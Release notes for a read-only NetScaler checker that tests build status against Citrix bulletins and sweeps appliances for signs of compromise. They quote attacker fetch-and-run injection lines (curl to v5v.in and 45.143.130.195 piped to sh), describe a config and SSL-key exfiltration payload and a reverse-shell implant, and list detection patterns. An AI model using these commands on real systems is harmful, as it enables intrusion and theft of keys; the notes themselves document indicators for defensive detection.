Repository navigation
Releases: ThomasPoppelgaard/netscaler-ctx697096-checker
Release list
v1.16
v1.16 (8 October 2026): CVE-2026-107406 (CTX697191) – critical SAML flaw, remote code execution
🚨 New bulletin: SAML IdP appliances must upgrade again
Citrix published CTX697191 on 8 October: CVE-2026-107406, a SAML memory overflow leading to remote code execution or denial of service, CVSS 9.5 (critical). The bulletin lists no workaround.
Who is affected depends on the build:
Build | Affected when configured as -- | -- 14.1-73.37 to 73.41, 13.1-64.23 to 64.28, 14.1-FIPS 73.37 to 73.41, 13.1-FIPS/NDcPP 37.279 to 37.282 (already fixed for CTX697096 / CVE-2026-88779) | SAML IdP (add authentication samlIdPProfile) Older builds | SAML SP (add authentication samlAction) or SAML IdPFixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP. These builds contain the CTX697096, CVE-2026-88779 and CVE-2026-107406 fixes. Secure Private Access hybrid deployments using NetScaler are affected too.
What's new
- New CVE-2026-107406 check on every run (also offline and with
--no-ioc):[AFFECTED], verdictVULNERABLE to CVE-2026-107406 (SAML)and exit code 2 when your build and SAML config match the bulletin, also on appliances that already have the CTX697096 and CVE-2026-88779 fixes. SAML SP only on 73.37–73.41 / 64.23–64.28: not affected. Builds the bulletin does not list (14.1-73.42–73.45) with SAML:[CHECK], verify with Citrix. - One build for everything: all upgrade advice now points to 14.1-73.46 / 13.1-64.29 / 14.1-73.46 FIPS / 13.1-37.283 FIPS/NDcPP.
--summary: new fieldcve107406=vulnerable|fixed|n/a|unknownand verdictVULNERABLE_CVE-2026-107406.- IoC sweep: on a SAML IdP, injection attempts from 2 October now count as "may have run" until the CVE-2026-107406 build started running, because this one is remote code execution.
- New indicators (community report, 8 October): an overnight wave of the same login injection (
curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<key>|sh). Payload hostv5v.inand IP72.5.65.111added – now 132 attacker IPs, 18 domains, 38 hashes. v1.15 already caught the injection itself. - Header and help:
CTX697096 + CTX697174 + CTX697191 precondition check v1.16;--helpprints the usage without the leading#.
❤️ Support this project
This tool is free and will stay free. If it saved you time, you can say thanks with a voluntary contribution — completely optional:
👉 Support netscaler-ctx697096-checker
## v1.16 (8 October 2026): CVE-2026-107406 (CTX697191) – critical SAML flaw, remote code execution🚨 New bulletin: SAML IdP appliances must upgrade again
Citrix published [CTX697191](https://support.citrix.com/external/article/CTX697191) on 8 October: CVE-2026-107406, a SAML memory overflow leading to remote code execution or denial of service, CVSS 9.5 (critical). The bulletin lists no workaround.
Who is affected depends on the build:
| Build | Affected when configured as |
|---|---|
| 14.1-73.37 to 73.41, 13.1-64.23 to 64.28, 14.1-FIPS 73.37 to 73.41, 13.1-FIPS/NDcPP 37.279 to 37.282 (already fixed for CTX697096 / CVE-2026-88779) | SAML IdP (add authentication samlIdPProfile) |
| Older builds | SAML SP (add authentication samlAction) or SAML IdP |
Fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP. These builds contain the CTX697096, CVE-2026-88779 and CVE-2026-107406 fixes. Secure Private Access hybrid deployments using NetScaler are affected too.
What's new
- New CVE-2026-107406 check on every run (also offline and with
--no-ioc):[AFFECTED], verdictVULNERABLE to CVE-2026-107406 (SAML)and exit code 2 when your build and SAML config match the bulletin, also on appliances that already have the CTX697096 and CVE-2026-88779 fixes. SAML SP only on 73.37–73.41 / 64.23–64.28: not affected. Builds the bulletin does not list (14.1-73.42–73.45) with SAML:[CHECK], verify with Citrix. - One build for everything: all upgrade advice now points to 14.1-73.46 / 13.1-64.29 / 14.1-73.46 FIPS / 13.1-37.283 FIPS/NDcPP.
--summary: new fieldcve107406=vulnerable|fixed|n/a|unknownand verdictVULNERABLE_CVE-2026-107406.- IoC sweep: on a SAML IdP, injection attempts from 2 October now count as "may have run" until the CVE-2026-107406 build started running, because this one is remote code execution.
- New indicators (community report, 8 October): an overnight wave of the same login injection (
curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<key>|sh). Payload hostv5v.inand IP72.5.65.111added – now 132 attacker IPs, 18 domains, 38 hashes. v1.15 already caught the injection itself. - **Header and help:...
v1.15
v1.15 (8 October 2026): WHIPSHOT / SLAPSHOT scanning, log-reflection and "NetScaler C2"
⚠️ Changed: the compromise check now runs by default
On the appliance, sh ctx697096_check.sh now always runs the IoC sweep ("was I hacked?"). Before, it needed --ioc, and a run without it ended with a green "fixed build" although the box had never been checked for compromise. A customer took exactly that as "not hacked".
--iocis still accepted, so existing scripts and Console jobs keep working.--no-iocskips the sweep. The verdict then says "NOT checked for compromise", and--summaryshowscompromise=not_checked verdict=OK_IOC_NOT_RUN.- An exported config checked offline on a PC says the same: compromise can only be checked on the appliance.
WHIPSHOT / SLAPSHOT scanning (Lupovis, 5 October)
Lupovis (5 October) shows that scanning for the WHIPSHOT and SLAPSHOT webshells started before Mandiant published them. Since 4 October, a 10-step scan asks every target for randomly named webshell variants: receiver(.v2).min.<hex>.css, the same names with a g suffix (to test whether a CDN or WAF answers from its cache), receiver.deb and random 12-character .deb names, .ctxs.receiver, random *.receiver names and .slap.receiver.
Scanning is not compromise. The checker lists these requests as targeted, with the source IPs, and only reports COMPROMISED when a webshell file is on the box.
What's new
.debprobes: requests forreceiver.debor a random 12-character.debin/logon/LogonPoint/custom/are listed as webshell probing, per source IP.gsuffix: requests forreceiver.min.<hex>g.cssandreceiver.v2.min.<hex>g.cssnow count as exploit strings. In a test set of real logs, such requests from 28 and 29 September were missed by v1.14..debfile in the theme folder = compromise: a.debfile inLogonPoint/customorlogon/themes, where SLAPSHOT keeps a webshell asreceiver.deb. The theme folder never holds packages of its own.
Already covered since earlier versions: .ctxs.receiver, .slap.receiver and random *.receiver files and requests, the receiver.min.<hex>.css alias, the WHIPSHOT token from Unit 42's analysis, and the probe/1 SAML probe (Lupovis, 4 October).
Log-reflection (Lupovis, 7 October)
Two actors now hide the payload outside the login field. A GET request parks a whole shell script in the User-Agent, tagged <tag>:<script>, so it is written to /var/log/httpaccess*. The CVE-2026-88771 injection then only carries grep <tag>: /var/log/htt* | sed … | sh and runs the script from the log. Filters that inspect the login field for shell syntax never see the payload.
- New targeted check: a plain-text shell script in a tagged User-Agent (short tag, shell syntax and a command word in one field), per source IP. Base64 forms (
INDEX:,K:) were already covered. /var/log/httin an injection counts as an exploit string.- The two stages linked: for each tag an injection greps for, the report shows the staged requests that carry it and their source IPs.
- Base64 variant: the second actor base64-encodes the script (
<tag>:<base64>). These values are decoded, and the decoded command is shown in the report. - If the shell audit log shows the command ran, it is reported as COMPROMISED, as before.
Lupovis also confirms that one actor's extracted script is the config and SSL-key theft payload that v1.14 detects: ns.conf and every private key written to a random .css in LogonPoint and sent to port 8877. Whether Citrix's responder policy covers this route through the User-Agent is an open question, so do not rely on it alone: the fixed build closes the vulnerability.
"NetScaler C2" framework (SOCRadar, 7 October)
SOCRadar describes an automated framework that finds NetScalers, injects curl${IFS}-sk${IFS}45.143.130[.]195:8899/s/<id>|sh through CVE-2026-88771 and installs a small polling agent, with HTTP and DNS command channels.
- 45.143.130.195 added as an attacker IP.
- Agent = compromise:
/tmp/.nsagent(or/var/tmp/.nsagent) on disk, or a running.nsagentprocess./tmpis emptied at reboot, so run the checker before rebooting. - Exploit strings: the C2 paths
:8899/s/,/a/,/p/,/c/,/r/, the DNS beacon.p1.oob.andnslookup${IFS}.
Huntback: ten days of decoy telemetry (7 October)
Huntback recorded 1,069 CVE-2026-88771 injection attempts from 30 sources and separates more than ten operators: OOB proving, config theft, an ns_helper implant, tunnel-fronted droppers, Perl droppers, a PHP webshell and a log-channel C2.
- 16 more attacker IPs. Four addresses that v1.13 listed as GreyNoise scanners move to the attacker IPs, because Huntback shows them injecting commands. Several are Tor exits: on their own they only count as "targeted".
- Domains:
pinggy.netandserveousercontent.com, the tunnel services that fronted two droppers. - Compromise: the
ns_helperimplant (/var/vpn/ns_helper,/nsconfig/.ns_helper), the dropper stage/tmp/.pand any hidden.phpfile in the web folders (e.g.LogonPoint/custom/.x.php). - Canary and exploit strings:
Nx_*.htmlnext tonx_verify.html;ns_helper,free.pinggy.net,serveousercontent.comand/Nx_*.htmlin the logs. - The log-channel tags
fefypa:andfdylo9:were already caught by the base64 User-Agent check. - Injections in the User-Agent of any request: the attack text (
pitboss/unexpectedly died/NSPPEwith;or${IFS}) is now found in every HTTP log line, also a GET to/vpn/index.htmlwith the payload in the User-Agent. Before, only the five login pages andns.logwere searched. If a file such a request tried to write exists (including the target ofcp/mv, e.g. ac88771_<ip>.txtconfig copy), the verdict is COMPROMISED. NX_*.htmlandNx_*.htmlcanaries are matched regardless of case.
Beazley and Gotham
- Beazley Security Labs (BSL-A1216, updated 4 October, via Gotham Technology Group): exploit-delivery servers 104.207.47.54, 104.207.46.202 and 104.207.32.77.
- Gotham Technology Group (shared with permission): four more SLAPSHOT / WHIPSHOT kit hashes.
- Totals: 131 attacker IPs, 17 domains, 38 hashes.
Version on screen
- The first line of every run, and the "Done in" line, show the checker version and the indicator date, so a screenshot always shows which version ran.
- If the copy is more than 7 days older than today, a yellow line (also with
--summary) points to GitHub for a newer version: new attack techniques are added often. - customsnmpd reverse shell (LevelBlue THOR): LevelBlue's
main.pyoverwrites/var/python/bin/customsnmpdwith a Python reverse shell to 45.141.21.130:443. That IP in the file is reported as COMPROMISED; other code in it that connects out and hands over a shell is a [CHECK].whoamiandtarare now among the command words searched inns.log. Everything else in LevelBlue's report was already covered. - Clearer "Exploitation traffic" section: a summary line says whether any webshell request found a file (e.g. "All 12 webshell request(s) were answered 404 - none of these webshell files exists on this box") and how many of the BEFORE-fix lines are only GreyNoise-tagged scanners. It stays red; the summary just tells you at a glance whether anything succeeded. Any other BEFORE-fix requests are printed right under it, and a saved report (
--out,--summary) now has the full list instead of the first 40 lines. - IP Reputation tip, more precise: the Hardening section now also checks that the Reputation feature (and Responder or AppFw) is enabled and that the policy is bound, and shows the command for anything missing. The licence check is shown as a command:
nscli -c "show ns license" | grep -i reputation. - Which appliance: a second header line names the appliance:
Appliance: ns01 - NSIP 10.0.0.10 - config /nsconfig/ns.conf - <time>.--summaryaddsnsip=to the result line. Sharing a screenshot or report? Run with--hide-ipand the NSIP shows ashidden. - Start banner: run by hand in a terminal, the checker now starts with a small ASCII banner: "NetScaler", CVE CHECK + IoC SWEEP ("am I fixed? / was I hacked?"), version, indicator date and GitHub link. It is never part of a saved report and is skipped for
--summary,--out, pipes and Console jobs. Turn it off with--no-banner.
Perl inventory and a hardening tip
- Perl inventory ([CHECK]): Perl scripts, processes, start-up lines and
perl -e/| perlshell history outside NetScaler's own files are listed for review. Another IoC scanner reported only a "Perl" finding at a customer, and nobody knew where to look. Known bad Perl (update_c08937.pl, the SLAPSHOT agent,agent.plcron lines) stays red. - Hardening: a new section recommends IP Reputation when no responder/WAF policy uses it. It never changes the verdict or the exit code.
Theme folders and one more IP
- The WHIPSHOT/SLAPSHOT scans also ask for
/logon/themes/<theme>/receiver(.v2).min.<hex>[g].css,.receiverandreceiver.deb(seen in the field). These are now matched as well asLogonPoint/custom. - 23.234.80.205 added (field report: LogonUISimple webshell-alias probes on 7 October).
Fewer false alarms
- Saved reports no longer give a false COMPROMISED. A v1.14 report saved as
/var/tmp/v114.txtwas flagged as a SLAPSHOT marker and a Platypus bootstrap script, because a report quotes ind...
v1.14
v1.14 (6 October 2026): config and SSL-key theft payload
A payload seen in the field tries to steal the NetScaler configuration and its private keys:
- it writes
ns.confand every/nsconfig/ssl/*.keyinto a random 6-character.cssfile in/var/netscaler/logon/LogonPoint(e.g.74tns8.css); - sends that file with
curl --data-binaryto81.94.239[.]8:8877; - and then downloads the
.cssfrom the Gateway.
If it worked, the attacker has your configuration and every private key.
What's new
-
Config / key dump in a web folder = compromise. Any file under the web folders (any extension) holding
===CONF:/===KEY:markers, a private key orns.conflines is reported in red, with the advice to rotate all keys, certificates and passwords. -
Pick-up requests. Requests for a random 6-character
.cssdirectly in/logon/LogonPoint/are listed with source IP. 404 = the file was never written, the attempt failed. 200 = the file existed and was downloaded: reported as a compromise. -
Attack text.
curl --data-binary @<file>and:8877/are now exploit strings. The download host and source-IP notes from v1.13 pick this payload up automatically. -
81.94.239.8 added as an attacker IP (field report). Totals: 106 attacker IPs, 15 domains, 34 hashes.
-
Clear verdict on compromise. When
--iocfinds compromise indicators, the last line now says "VERDICT: COMPROMISED - follow CTX694799" (fixed build) or "COMPROMISED and VULNERABLE - follow CTX694799 first" (vulnerable build), exit code 2. Before, a fixed build only said "follow-up items", and a vulnerable build said "upgrade now", which would wipe evidence.--summarystill shows the build status (status=FIXED/VULNERABLE) next toverdict=COMPROMISED.
From the community: pull requests #4 and #5 (thanks to feiglein74)
- PHP webshells and setuid backdoors outside the known places (#4). In the field, Citrix's own IoC scan found an old webshell from the 2023 CVE-2023-3519 wave (
LogonPoint/uiareas/linux/gnuplot.php) and a setuid backdoor (/var/rgroupadd) that the checker missed. Now reported as compromise:- any
.php/.phtmlunder/var/netscaler/logonand/var/vpn; - one-line webshells that call a request parameter as a function;
- PHP files the Apache error log shows running or that still exist, with first and last date (only-blocked scanner requests for non-existing names are listed as OK);
- setuid/setgid programs under
/var,/tmp,/nsconfig,/flash,/home,/root; - files an injection dropped in the web folders that were downloaded with HTTP 200.
POST requests to PHP names count as webshell use when that file exists or ran, otherwise they are a yellow hunting lead.
- any
- Fewer false alarms (#5). A payload writing to a file every appliance has (e.g.
/etc/httpd.conf) no longer counts as "the command ran"; new files a payload drops, also under/nsconfig, still do.
Protect yourself
Block outbound traffic from the NetScaler (NSIP / SNIP) to the internet, except what it really needs. This payload, like the f.pylrk[.]cc downloads, only works if the NetScaler can reach the attacker's server.
Run it again
sh ctx697096_check.sh --ioc --summaryRun it on both HA nodes. Use it together with the official Citrix IoC scan, not instead of it.
v1.13
v1.13 (5 October 2026): CVE-2026-88779 on CISA's KEV list, new hunting checks
CISA added CVE-2026-88779 (the SAML attack, [CTX697174](https://support.citrix.com/external/article/CTX697174)) to its [Known Exploited Vulnerabilities catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) on 4 October. US federal agencies have until 7 October.
Use SAML (add authentication samlAction or add authentication samlIdPProfile)? Upgrade to 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS or 13.1-37.282 FIPS/NDcPP, also if you already upgraded for CTX697096.
What's new
- CISA KEV in the output. A SAML appliance below the fixed build now says it is on the KEV list, and reminds you that a honeypot patched for CTX697096 ran downloaded malware (Kevin Beaumont). Citrix calls it DoS; run with
--iocanyway. - SAML probe hunting (thanks to Lupovis). A new
[CHECK]for the User-Agentprobe/1and very long requests to/saml/loginor/cgi/samlauthin the HTTP logs, with source IPs. Lupovis saw such a probe on 17 September, before CVE-2026-88779 was public. A hunting lead, not proof of exploitation. - Randomly named webshells (thanks to Huntback.io). The campaign also drops webshells with random names ending in
.receiverin LogonPoint/custom. Any*.receiverfile in the web folders is now reported as a compromise, not only.ctxs.receiverand.slap.receiver. Requests for any*.receiverfile in LogonPoint count as webshell probing. - Five more attacker IPs (Huntback.io decoys) that sent the CVE-2026-88771
NX-CVE-OK/nx_verify.htmlcheck: 138.199.60.22, 138.199.60.36, 146.70.199.170, 146.70.211.157 and 23.162.8.173. - Sliver implant files (via PitScaler.com).
citrix3.badis reported as a compromise, and so is/var/tmp/.hostwhen it is an executable. Any other/var/tmp/.hostis a[CHECK], so a harmless file never turns red on its own. The implant's hash was already checked. - Injection attempts: who sent them, and did they run? (idea from the GEIGER log analysis by Patrick Wagner in Manuel Winkel's (Deyda) triage script; own implementation). For each login-injection attempt the checker now shows:
- the download hosts named in the payloads, defanged, to search in your firewall, DNS and proxy logs;
- the likely source IP: a
Client_ipfield in the line, or logon requests in the HTTP access logs within 5 seconds of each attempt. A different timezone in ns.log is detected automatically; - whether the payload shows up in a shell command in
sh.log,bash.logor CLIshell_commandlines. That is reported as a compromise. An admin's grep or cat does not count, and the checker says when the shell logs do not reach back to the first attempt.
- Fewer false alarms on custom themes. Links alone in a theme's language files (
themes/<name>/resources/*.xml) andplugins.xmlare no longer red, because both hold links by design. Script tags,eval,fetchand similar are still reported. - Already patched? A webshell hit now also says that upgrading does not remove a webshell dropped before the upgrade.
- Gotham Technology Group update (5 October, shared with permission). 138.199.60.5 added as an attacker IP: it sent CVE-2026-88779 crash payloads on 5 October. Requests from 138.199.60.0/24 (hosting/VPN range used throughout the SAML attack) and from four sources that probed
GET /saml/loginbefore disclosure are shown as a yellow hunting lead. - Fix: your own config commands are no longer attack lines. After applying a mitigation batch, ns.log audit lines such as
add ns acl … -srcIP = <attacker IP>orbind policy patset … "${IFS}"were reported in red. Configuration commands are now ignored; failed NITRO/API logins still count, because the injection can sit in their user name. - Totals: 105 attacker IPs, 15 domains, 34 hashes.
Run it again
sh ctx697096_check.sh --ioc --summaryRun it on both HA nodes. Use it together with the official Citrix IoC scan, not instead of it.
v1.12
v1.12 (4 October 2026): CVE-2026-88779, the SAML attack now has a fix
Citrix published CVE-2026-88779 ([CTX697174](https://support.citrix.com/external/article/CTX697174), CVSS 8.7) on 3 October, in a separate bulletin: it is not part of CTX697096. It is the SAML attack that has been crashing NetScalers on the CTX697096-fixed builds since 2 October.
You are affected if your config has add authentication samlAction (SAML SP) or add authentication samlIdPProfile (SAML IdP).
Fixed builds: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282 FIPS/NDcPP. If you already upgraded for CTX697096 and use SAML, you must upgrade again.
Until you can upgrade, Citrix offers two interim mitigations:
- Global Deny List signatures through NetScaler Console. This needs Virtual patching enabled and signatures v24 or later, and only works on 14.1-73.37 up to 73.41 and on 13.1-64.23 up to 64.28.
- The responder policy from Citrix Support.
⚠️ What changes in your results
- SAML boxes on 73.37 / 64.24 now show
VULNERABLE to CVE-2026-88779 (SAML)with exit code 2, even though the CTX697096 fixes are in place. - The
--summaryline has a new field,cve88779=vulnerable|fixed|n/a|unknown, and a new verdict,VULNERABLE_CVE-2026-88779.status=still shows the CTX697096 status. - The CVE-2026-88779 check runs on every run, also without
--iocand against an exportedns.conf.
SAML mitigation coverage per vserver
- The SAML policy must be bound
-type AAA_REQUESTon every Gateway and AAA vserver. The checker lists the vservers that are not covered. - It warns about
-type REQUESTbindings, because they never see sign-in traffic. - A global binding no longer counts as coverage.
- Policies are recognised by their rule, also when the rule sits in a named
add policy expression(a reader's tip) or covers the IdP endpoint/saml/login. - On a fixed build, bound interim policies are reported as no longer needed.
- Global Deny List is not visible in
ns.conf, so the output gives the command to check it.
"May have run" now ends with the fix
- Injection attempts from 2 October are reported as "may have run" only until the CVE-2026-88779 build started running. Later attempts count as targeted only.
- If you went from 73.37 to 73.41, the CTX697096 fix date now comes from the oldest fixed kernel still in
/flash. That way, September attack lines are not wrongly marked[BEFORE fix].
New indicators (via Gotham Technology Group, from public sources)
- 14 more hashes: the
/vscript of the 2 October attack, SAML-attack kit generations 2 and 3, the chisel tunnel, Sliver implants and a Perl payload. They are also checked in/nsconfig/.slap. - SAML-attack kit (reported as compromise): the upload staging files
loot_*andagent.plcron lines. - Daily-check script: manual
ns_monuploadd_err.pl -WRruns (CISA Sigma rule), and the vulnerable copy ofns_monuploadd_err.plon a fixed build. - Attack text:
chmod 6555andnsshutdown -R. - Beazley Security second wave: 51.158.203.95, 185.244.213.112 and 158.94.211.205. Plus
webhook.site,dnshook.siteand three hunting leads. - Removed
pyrlnk.cc: an unregistered misspelling of the payload hostpylrk.cc(WHOIS, DNS and CT logs show onlypylrk.cc). Blockf.pylrk[.]cc/*.pylrk[.]cc. Thanks to Emil Ståhl (PitScaler.com), [issue #3](#3). - Totals: 99 attacker IPs, 15 domains, 34 hashes.
Fixes from pull request #1 (thanks to feiglein74)
- Attacker IPs match on address boundaries:
78.128.113.10no longer matches78.128.113.101. - Log lines without a readable date keep the targeted result red, because they could be from before the fix.
- Syslog dates in the future are moved to the previous year (December logs read in January).
AddType application/x-httpd-php .php .debis caught: every extension on the line is checked.- Web files written during the upgrade window are still checked for strong webshell signs.
- The "rewritten together" grouping only counts web files, so other files can't hide a lone web file in a burst.
- URLs alone in
homeconfig.xmlare no longer flagged; it holds URLs by design. - New IP
159.203.33.46.
Also
- MPX BIOS/BMC firmware files in
/var/tmpare grouped as expected. - The README has a new section on running the checker on many appliances, with [Julian Jakob's Console job templates](https://www.julianjakob.com/netscaler-run-get-ioc-scripts-with-console/) and [Ferroque Systems' bulk runner](https://github.com/FerroqueSystems/netscaler-ioc-bulk-check).
Run it again
sh ctx697096_check.sh --ioc --summaryRun it on both HA nodes. Use it together with the official Citrix IoC scan, not instead of it.
v1.11
v1.11 (3 October 2026): commands run again on fixed builds, Citrix's new responder policy, SAML status, plus indicators from Gotham Technology Group, Unit 42 and Rapid7
⚠️ Commands run again on fixed builds (since 2 October)
Late on 2 October, Kevin Beaumont reported that one of his patched honeypots ran a downloaded malware binary, and that the fix for the pitboss log injection looks bypassable. Citrix calls it a new zero-day, separate from CTX697096, with a bulletin and fixed builds planned.
Up to v1.10 the checker said that injection attempts after the fix "cannot run commands on this build". That is no longer true from 2 October on. v1.11:
- reports injection lines dated 2 October or later as
[SUSPECT]("may have run"); attempts after the fix and before 2 October keep the after-fix wording - reads the files the injected commands tried to write from the log lines (
hostname>/path,fetch -qo /v,curl -o /path, with${IFS}decoded) and reports them as compromise if they exist - recognises the full crash-and-reboot sequence:
nsaaad unexpectedly died due to receiving signal,proc nsaaad … SIGNALED/EXITED,maximum number of restarts,Pitboss declaring system failure,All monitored processes have exited, rebooting - adds the download domain
pyrlnk.cc(14 domains) --summary:targeted=yes,N_since_2oct_may_have_runand the new verdictTARGETED_SINCE_2OCT
Citrix's new responder policy (3 October)
Citrix released a new responder policy against the SAML attack on 3 October, and with the new configuration it appears to work. Ask Citrix Support for it (customers and partners). If you applied an earlier workaround, ask to have it replaced. It is a mitigation, not a fix: upgrade when the new bulletin and builds are out.
v1.11 recognises a bound SAML mitigation policy by what it does (any responder policy on samlauth or doAuthentication bound to a Gateway/AAA vserver or globally), so Citrix's new policy is recognised whatever it is called. Only the policy names are shown, never the rule. If such a policy is bound but the Responder feature is off, a new [CHECK] says the policy is ignored and how to enable it.
The new SAML issue: following Citrix's guidance
Since 2 October, crafted SAML requests crash the authentication daemon nsaaad, also on appliances with the CTX697096 fixes. After repeated crashes the appliance restarts, then its HA peer. Citrix has now confirmed in its [guidance for NetScaler SAML authentication deployments](https://community.citrix.com/techzone-blogs/110_security-updates/security-update-guidance-for-netscaler-saml-authentication-deployments/) that this is a new issue, separate from CTX697096, with a security bulletin and fixed builds planned. An appliance is affected when its config has add authentication samlAction (NetScaler as SAML Service Provider) or add authentication samlIdPProfile (NetScaler as SAML Identity Provider).
v1.10 only said something when it found crashes, and only looked at samlAction. v1.11 counts both and always prints the status:
[OK] No nsaaad crashes found (samlAction=0 samlIdPProfile=0 - the SAML issue Citrix announced on 2 Oct does not apply)[CHECK] SAML configured (samlAction=1 samlIdPProfile=0) - affected by the new SAML issue; no nsaaad crashes found, interim workaround NOT bound(orbound), with a link to Citrix's guidance- With a SAML IdP profile, an extra note: Citrix Support's interim workaround only matches
/cgi/samlauth(the SP endpoint), so ask Citrix Support about IdP protection [CHECK] Authentication daemon nsaaad crashed (…)with the core files and crash lines: contact Citrix Support
Appliances with SAML get verdict FOLLOW_UP until Citrix's fixed builds are out; a later version will recognise them. The --summary result line has a new field saml=sp|idp|sp+idp|none, so you can see at a glance which of your appliances are affected.
Crash detection now also matches NetScaler's own proc nsaaad … EXITED and monitored processes have exited lines in /var/log/messages (pattern from Gotham Technology Group's advisory), plus proc nsaaad … SIGNALED and maximum number of restarts (community detection). Both Citrix Support's pol_samlauth_prefixlist_block and the stricter community pol_samlauth_block_v2 are recognised as the interim workaround.
New indicators
Thanks to Gotham Technology Group for sharing their incident-response indicators and advisory with permission, and to Unit 42 and Rapid7.
- 95 attacker IPs (was 58): Unit 42's 1 October update, Rapid7, two addresses shared in the NetScaler community, and Gotham's incident-response list. 32 lower-confidence probe senders were added to the scanner group. Cloudflare and carrier-NAT addresses are left out.
- 14 domains (was 9):
pylrk.ccandpyrlnk.cc(download servers seen in attempts on 2 October),oast.fun,dnsl.cc,gs.thc.org. - Files, reported as compromise:
x.shin/,/tmp,/var/tmp; the stolen-config archivevpn/cin the Gateway web folders;/var/netscaler/.ns_suidcmd; leftovers of the 2020 NOTROBIN backdoor (/var/nstmp/.nscache,/tmp/.init, changed portal templates,[%in bookmarks). - Logs:
/vpn/crequests. HTTP 200 is reported as compromise: the configuration archive (ns.conf with keys) was likely downloaded.- Web requests to
/nsconmsg: it's a CLI tool, never a web path. - A base64 payload staged in a
K:<base64>#User-Agent (1 October variant without thepitbossmarker). The base64 is removed from the output. /download/x.shand the fakeTeam-NetScaler-Inventoryuser agent.- Failed logins from four password-spray sources.
These new log checks share one pass over the logs: 38 s instead of 34 s on 255 MB of test logs.
Run it again
If you ran v1.10, run v1.11 too: the last line now says Checked 95 attacker IPs, 14 domains, 20 hashes and all public indicators up to 3 Oct 2026. On an HA pair, run it on both nodes.
As always: read-only, nothing is changed and nothing is sent anywhere. Use it together with the official Citrix IoC scan.
v1.10
v1.10: fixes the --ioc hang, much faster, --summary for NetScaler Console, --days, local system user and generic webshell checks, plus LevelBlue, TENEX, Wiz and Deyda checks
Fix: v1.9 could hang with --ioc
Thanks to the community members who reported this on MPX and VPX appliances! There were two causes:
1. A real hang (any appliance). The SLAPSHOT check added in v1.9 searched all of /tmp with grep -r. NetScaler keeps named pipes there (.nscli_pipe, .nsconfigd_pipe, pitboss.debug and others) for its own services. FreeBSD's grep reads them and waits forever, so the run stopped right after the ns.log checks. v1.10 only reads regular files (under 20 MB) in /tmp and /var/tmp, and there is no recursive grep left in the script. Linux grep skips named pipes, which is why this didn't show up in testing; v1.10 is now also tested with a FreeBSD-style grep.
2. Very slow on large logs. v1.9 searched all logs once for every attacker IP: 42 full passes, unpacking every rotated .gzlog each time. On appliances with large logs this ran at 100% management CPU for many minutes, and because the screen only updates when a section finishes, it looked like it had stopped.
v1.10 finds all known IPs and domains in one pass over the logs and splits the result afterwards. The scanner-IP, pitbossand login-page checks now do a fast fixed-string search first and run the full pattern only on the lines that matched. The results are identical: tested on eight test setups, including logs from a real attacked appliance. On 255 MB of test logs:
3. Faster on every appliance. The web-file check started a new perl and awk for every changed web file, and the hash checks started sha256 once per file. On FreeBSD, starting a process is expensive, so a lab VPX with a few thousand web files took about 40 seconds. Both now do the work in one process. On a test setup with 3,000 web files, a run takes 5 seconds instead of 20, with identical results. The summary of VPN requests from non-Receiver clients used a sed pattern that FreeBSD runs very slowly on long log lines: 7.8 seconds for 4,300 lines on a real appliance. It now uses perl, with identical output.
4. You can see what it's doing. Before the IoC sweep, the output says:
- that the checker is read-only: nothing on the appliance is changed, and nothing is sent anywhere
- how many log files and MB it will search
- the expected run time
While it runs, progress lines [1/6] … [6/6] show the elapsed time, so you can see it's moving and which step is slow. They're shown on screen only: not in the report, and not in a NetScaler Console job. At the end:
Done in 19s (expected 10s-20s). Checked 58 attacker IPs, 9 domains, 20 hashes and all public indicators up to 2 Oct 2026.
v1.9
v1.9: every public indicator since v1.8 (PitScaler, Beazley, watchTowr, Arctic Wolf, Unit 42, Elastic, Deyda)
This release adds all the public indicators published since v1.8, and fixes a display bug where a matched log line could show up empty. Thanks to [PitScaler.com](https://pitscaler.com) and its original sources (Truesec, eSentire, IFIN, Corelight, Lupovis, Beazley Security, GreyNoise, Google GTIG/Mandiant), [Beazley Security](https://labs.beazley.security/advisories/BSL-A1216), [watchTowr](https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772), [Arctic Wolf](https://github.com/rtkwlf/wolf-tools/tree/main/pack_alerts/202609-citrix-netscaler-active-exploitation-cve-2026-88771), [Unit 42](https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/), [Elastic](https://github.com/elastic/detection-rules/blob/main/rules/network/initial_access_netscaler_log_poisoning_command_injection.toml), Manuel Winkel's [Deyda triage script v9.28](https://github.com/Deyda/Security/blob/main/deyda-netscaler-ioc-check.sh), and the community member who reported the empty line!
If you ran an earlier version, run v1.9 again with --ioc.
Fix: a matched log line could show as empty
A report showed known exploitation IP 64.94.85.67 (1 line(s)): with nothing underneath. The line was real, but it contained binary or terminal-control bytes. ns.log often has them, and attackers can inject escape codes, which can blank out a line on screen.
v1.9 reads every log as text even when it contains binary bytes. Non-printable bytes are shown as ., and the line is labelled "(line contains binary data)". Counts and the red/yellow decision are unchanged.
An IP hit only means that address reached your NetScaler. Whether it succeeded is judged by the COMPROMISE section.
Compromise: a command ran on this box (red)
- The
nsmon.plPerl implant (Arctic Wolf): the hidden folder/var/tmp/.nsmonwith.cfg,.stateandnsmon.pl;nsmonin/etc/crontab,/nsconfig/crontabor any user crontab (it runs Perl as root every 5 minutes); a runningnsmonprocess, or Perl listening on a TCP port between 41000 and 41999. Plus/var/tmp/.s. - Known payload and webshell hashes: 6 more webshell hashes (IFIN, eSentire
.icoand.debvariants, and 3 from Unit 42 via Deyda) and 5 payload hashes from Arctic Wolf (/xd7h/x,nsmon.pl,update_c08937.pl, the Platypus agent script). They are checked in the web, Gateway plugin and media folders,/tmp,/var/tmp, and the top of/and/var. Hashes differ per victim, so the content checks matter more. - The Unit 42
.debwebshell by content: its RC4 key, login token and passphrase, in the web and Gateway folders. It is dropped asnsg64.debornsgclient18.deb, the names of real client packages, so a content match is what counts. Renamed copies are caught too. - WHIPSHOT-style webshell code (Mandiant): commands read from
